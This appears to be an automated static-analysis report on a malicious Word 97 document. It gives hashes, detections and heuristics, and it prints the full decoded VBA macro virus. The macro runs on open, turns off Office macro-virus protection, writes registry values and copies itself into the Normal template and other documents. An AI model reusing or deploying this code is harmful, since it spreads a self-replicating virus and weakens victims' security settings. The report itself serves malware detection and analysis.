Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e614a533b6920ff3…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-08-25 13:04:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-24
MD5: 644faea72f3fd845dc9373f4514ac499 SHA-1: e7f94d3c2a6994aa19ab7079b0251c56aacb5151 SHA-256: e614a533b6920ff3212168fcb6e96ae54040901d7f72d9107842402762039b95
388 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that execute upon opening the document. These macros attempt to disable security features and write VBA code to the Normal template and the active document, indicating a self-replication or persistence mechanism. The script also writes values to the registry, potentially for persistence.

Heuristics 8

  • ClamAV: Doc.Trojan.Codefore-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Codefore-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString VV: End With
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open(): On Error Resume Next: Application.EnableCancelKey = 0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2187 bytes
SHA-256: 98083cf20ba85e046950547f89479d2498cb398f4b5c5fb8361090f92cf095c4
Detection
ClamAV: Doc.Trojan.NoStyle-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open(): On Error Resume Next: Application.EnableCancelKey = 0
mig:
Application.ShowVisualBasicEditor = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0: ActiveDocument.ReadOnlyRecommended = 0: Application.ScreenUpdating = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeBackColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office", "CodeForeColors") = "1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1"
Set WshShell = CreateObject("WScript.Shell"): WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\VBA\Office\EndProcLine", 0, "REG_DWORD"
If ActiveDocument.ReadOnly = 1 Then: SetAttr ActiveDocument.FullName, 0: ActiveDocument.Reload
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "mig:" Then DOT = True
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "mig:" Then DOC = True
If DOT = True And DOC = True Then GoTo 1
If DOT = False Then
VV = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
With NormalTemplate.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString VV: End With
End If
If DOC = False Then
CC = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule: .DeleteLines 1, .CountOfLines: .AddFromString CC: End With
End If
If ActiveDocument.FullName = wdOpenFormatDocument Then ActiveDocument.SaveAs ActiveDocument.FullName
1: ActiveDocument.Saved = True
End Sub
Private Sub Document_Close(): On Error Resume Next: If ActiveDocument.Name = ActiveDocument.FullName Then End
If ActiveDocument.Saved = True Then Call Document_Open Else End
End Sub 'VOVAN//SMF

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